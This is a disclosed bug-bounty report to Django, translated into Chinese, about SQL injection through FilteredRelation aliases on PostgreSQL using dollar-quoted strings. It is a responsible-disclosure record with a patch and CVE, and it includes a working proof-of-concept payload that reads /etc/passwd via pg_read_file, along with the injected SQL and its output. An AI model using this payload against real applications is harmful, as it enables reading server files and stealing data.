Django | 报告 #3417967 - 在PostgreSQL上注解FilteredRelation时潜在的SQL注入
时间线
- 已验证身份的Hacker:已成功完成身份验证检查的黑客。
- stackered 向 Django 提交了一份报告。
- 时间:2025年11月9日,晚上8:26(UTC)
报告内容
嗨,Django 安全团队!
这个漏洞与 CVE 2025-57833 和 CVE 2025-59681 相关,因为它源于 FORBIDDEN_ALIAS_PATTERN 中不完整的正则表达式过滤。
在 PostgreSQL 中,$ 符号可以用来替换引号,并在标签之间构建原始字符串,例如:$$something$$ 或 $tag$something$tag$。这可以被滥用来使部分查询被解释为原始字符串,而不是要执行的实际查询。在某些情况下,这允许构建注入,如下面的概念验证(PoC)所示。
以下 PoC 可以粘贴到 tests/filtered_relation/tests.py 文件的 FilteredRelationTests 类中。
PoC 代码 (712 字节)
def test_sqli(self):
user_data = "$a$,$b$,$c$,(1)from(select(1)id,(pg_read_file($$/etc/passwd$$))title,(3)author_id,(4)editor_id,(5)number_editor,(6)editor_number,(7)state)filtered_relation_book,(select(1),1"
qs = (
Book.objects.annotate(**{
user_data: FilteredRelation(
"editor"),
})
.select_related(user_data)
)
try:
import django
for e in qs.all():
print("######### 注入成功 #########")
print(e.title)
print("############################")
except django.db.utils.ProgrammingError as e:
print(f"------\n{e}")
这个 PoC 将从 PostgreSQL Docker 容器中读取 /etc/passwd 文件,你可以使用以下命令运行该容器:
docker run --rm -it --net=host --name some-postgis -e POSTGRES_PASSWORD=mysecretpassword -d postgres
将 tests/test_sqlite.py 文件修改为:
DATABASES = {
"default": {
"ENGINE": "django.db.backends.postgresql",
"NAME": "django",
"USER": "postgres",
"PORT": 5432,
"HOST": "localhost"
},
}
SECRET_KEY = "mysecretpassword"
最后,可以使用以下命令执行 PoC:
cd django/tests
python3 runtests.py filtered_relation.tests.FilteredRelationTests.test_sqli
以下是输出结果,显示成功读取了 Docker 容器中的文件。
输出 (1.01 KiB)
######### 注入成功 #########
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
postgres:x:999:999::/var/lib/postgresql:/bin/bash
############################
所执行的完整 SQL 查询如下:
完整SQL查询 (1.07 KiB)
SELECT "filtered_relation_book"."id", "filtered_relation_book"."title", "filtered_relation_book"."author_id", "filtered_relation_book"."editor_id", "filtered_relation_book"."number_editor", "filtered_relation_book"."editor_number", "filtered_relation_book"."state", $a$,$b$,$c$,(1)from(select(1)id,(pg_read_file($$/etc/passwd$$))title,(3)author_id,(4)editor_id,(5)number_editor,(6)editor_number,(7)state)filtered_relation_book,(select(1),1."id", $a$,$b$,$c$,(1)from(select(1)id,(pg_read_file($$/etc/passwd$$))title,(3)author_id,(4)editor_id,(5)number_editor,(6)editor_number,(7)state)filtered_relation_book,(select(1),1."name" FROM "filtered_relation_book" INNER JOIN "filtered_relation_editor" $a$,$b$,$c$,(1)from(select(1)id,(pg_read_file($$/etc/passwd$$))title,(3)author_id,(4)editor_id,(5)number_editor,(6)editor_number,(7)state)filtered_relation_book,(select(1),1 ON ("filtered_relation_book"."editor_id" = $a$,$b$,$c$,(1)from(select(1)id,(pg_read_file($$/etc/passwd$$))title,(3)author_id,(4)editor_id,(5)number_editor,(6)editor_number,(7)state)filtered_relation_book,(select(1),1."id")
这个漏洞在此上下文中起作用,因为用户输入在查询中被多次反射,允许 $a$、$b$、$c$…… 等标签被闭合,并使查询的大部分内容被解释为 select 语句的原始字符串。
以下是简化后的查询,便于阅读:
SELECT "filtered_relation_book"."id", "filtered_relation_book"."title", "filtered_relation_book"."author_id", "filtered_relation_book"."editor_id", "filtered_relation_book"."number_editor", "filtered_relation_book"."editor_number", "filtered_relation_book"."state", $a$...$a$,$b$...$b$,$c$...$c$,(1)from(select(1)id,(pg_read_file($$/etc/passwd$$))title,(3)author_id,(4)editor_id,(5)number_editor,(6)editor_number,(7)state)filtered_relation_book,(select(1),1."id")
影响
这是一个 SQL 注入漏洞,允许窃取数据、读取系统文件(如 PoC 所示)或允许远程命令执行。
修复方案
修复方法是在 FORBIDDEN_ALIAS_PATTERN 正则表达式中添加 $ 符号。
后续处理流程
-
jacobtylerwalls (Django 员工) 发表了评论。
- 时间:2025年11月10日,下午5:15(UTC)
- 内容:感谢您的报告。我们将进行调查并尽快回复您。在此期间,请对此信息保密。如果您还没有查看,请查阅 Django 安全团队如何评估报告。请注意,我们可能需要几周时间才能完成分析。除非您发现新的相关信息,否则无需催促安全团队。所有报告都力求在行业标准的 90 天内解决。
-
jacobtylerwalls (Django 员工) 发表了评论。
- 时间:14天前
- 内容:您好 stackered,感谢您的报告和耐心等待。我们已经确认了该漏洞,并已为其分配了 CVE-2025-13372。我已附上我们提议的缓解解决方案。请您测试一下补丁,确保它能可靠地修复问题。我们计划在一篇博客文章中提及漏洞的发现者。使用 "stackered" 可以吗,或者您希望以其他方式署名?包含此修复的 Django 版本目前计划于 12 月 2 日发布。在更新版本发布之前,请对此保密。附件:
0001-Fixed-CVE-2025-13372-Protected-FilteredRelation-agai.patch
-
jacobtylerwalls (Django 员工) 将状态更改为 已分类。
- 时间:14天前
-
stackered (已验证身份的Hacker) 发表了评论。
- 时间:13天前
- 内容:您好 Jacob,我已经测试了提议的补丁,并且无法再复现该问题。署名用 "stackered" 就可以,谢谢。祝您有美好的一天!
-
nessita (Django 员工) 关闭了报告并将状态更改为 已解决。
- 时间:3小时前
- 内容:此问题已于 2025 年 12 月 2 日下午 2 点修复并发布。已发布 Django 安全版本:5.2.9、5.1.15 和 4.2.27。详细信息可在 Django 项目博客上找到。
-
The Internet Bug Bounty 已决定此报告不符合赏金资格。
- 时间:3小时前
- 内容:Django 不为安全报告提供金钱奖励。您可以按照以下链接向 Internet Bug Bounty 计划提交该问题。
-
nessita (Django 员工) 请求披露此报告。
- 时间:3小时前
-
stackered 同意披露此报告。
- 时间:3小时前
-
此报告已被披露。
- 时间:3小时前
报告信息摘要
- 报告时间:2025年11月9日,晚上8:23(UTC)
- 报告人:stackered
- 报告对象:Django
- 报告 ID:#3417967
- 状态:已解决
- 严重性:高 (8.1)
- 披露时间:2025年12月2日,下午3:28(UTC)
- 弱点类型:SQL 注入
- CVE ID:CVE-2025-57833, CVE-2025-59681
- 赏金:隐藏(无) biOK/hzhVF2yKaGc5mK8oXIEkdw1U0SUEAjO/010PZr9RfhPoQi2Nl74TDGw282o